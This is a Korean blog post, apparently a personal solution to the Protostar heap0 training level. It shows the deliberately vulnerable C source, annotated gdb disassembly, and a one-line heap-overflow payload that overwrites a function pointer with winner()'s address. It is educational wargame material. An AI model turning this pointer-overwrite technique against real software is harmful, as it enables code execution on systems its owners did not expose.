protostar heap0

시스템 2025. 1. 30. 21:18
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
  char name[64];
};

struct fp {
  int (*fp)();
};

void winner()
{
  printf("level passed\n");
}

void nowinner()
{
  printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
  struct data *d;
  struct fp *f;

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  printf("data is at %p, fp is at %p\n", d, f);

  strcpy(d->name, argv[1]);
  
  f->fp();

}

strcpy() 함수에서 name 배열에 argv[1] 값을 복사할 떄 힙 오버플로우 발생 

fp 와 data 차이는 HEX로 0x48 차이나며 10진수로 72 차이가 난다. 


0x804a050 메모리 값 확인 시 0x08048478 의 nowinner의 주소가 들어가 있다. 
fd와 data 의 72 byte 내에 dummy + winner() 함수 주소가 포함되어 있을 가능성이 높다.

gdb로 확인된 0x08048464 로 

./heap0 $(python -c 'print "\x90" * 72 + \x64\x84\x04\x08"')

입력 시 확인완료

추가

(gdb) disas main

Dump of assembler code for function main:

0x0804848c <main+0>: push   %ebp

0x0804848d <main+1>: mov    %esp,%ebp

0x0804848f <main+3>: and    $0xfffffff0,%esp

0x08048492 <main+6>: sub    $0x20,%esp

0x08048495 <main+9>: movl   $0x40,(%esp) // 64바이트만큼 malloc으로 힙 할당하기 위한 인자

0x0804849c <main+16>: call   0x8048388 <malloc@plt>

0x080484a1 <main+21>: mov    %eax,0x18(%esp) // malloc 할당된 주소1 를 esp+0x18에 저장

0x080484a5 <main+25>: movl   $0x4,(%esp)

0x080484ac <main+32>: call   0x8048388 <malloc@plt> // 4바이트만큼 malloc 힙 할당

0x080484b1 <main+37>: mov    %eax,0x1c(%esp) // malloc 할당된 주소2 를 esp+0x1c에 저장 (fp임)

0x080484b5 <main+41>: mov    $0x8048478,%edx // edx에 nowinner 함수 지정

0x080484ba <main+46>: mov    0x1c(%esp),%eax // fp

0x080484be <main+50>: mov    %edx,(%eax) // fp를 nowinner로 지정

0x080484c0 <main+52>: mov    $0x80485f7,%eax // printf 인자 1

0x080484c5 <main+57>: mov    0x1c(%esp),%edx // printf 인자 2

0x080484c9 <main+61>: mov    %edx,0x8(%esp)

0x080484cd <main+65>: mov    0x18(%esp),%edx // printf 인자 3

0x080484d1 <main+69>: mov    %edx,0x4(%esp)

0x080484d5 <main+73>: mov    %eax,(%esp)

0x080484d8 <main+76>: call   0x8048378 <printf@plt>

0x080484dd <main+81>: mov    0xc(%ebp),%eax // argv0 

0x080484e0 <main+84>: add    $0x4,%eax // argv1

0x080484e3 <main+87>: mov    (%eax),%eax // *argv1

0x080484e5 <main+89>: mov    %eax,%edx

0x080484e7 <main+91>: mov    0x18(%esp),%eax // strcpy에 malloc 할당된 주소1 를 넣음

0x080484eb <main+95>: mov    %edx,0x4(%esp) // strcpy에 argv1[] 넣음

0x080484ef <main+99>: mov    %eax,(%esp)

0x080484f2 <main+102>: call   0x8048368 <strcpy@plt> 

// => strcpy를 이용해서 malloc 할당된 범위를 넘겨서 fp를 winner함수로 변조하면 됨

0x080484f7 <main+107>: mov    0x1c(%esp),%eax

0x080484fb <main+111>: mov    (%eax),%eax

0x080484fd <main+113>: call   *%eax

0x080484ff <main+115>: leave  

0x08048500 <main+116>: ret

./heap0 `python -c 'print "A"*72+"\x64\x84\x04\x08"'`

'시스템' 카테고리의 다른 글

protostar net0  (0) 2025.01.30
protostar heap1  (0) 2025.01.30
protostar format3  (0) 2025.01.30
protostar format2  (0) 2025.01.29
protostar format1  (0) 2025.01.28
블로그 이미지

wtdsoul

,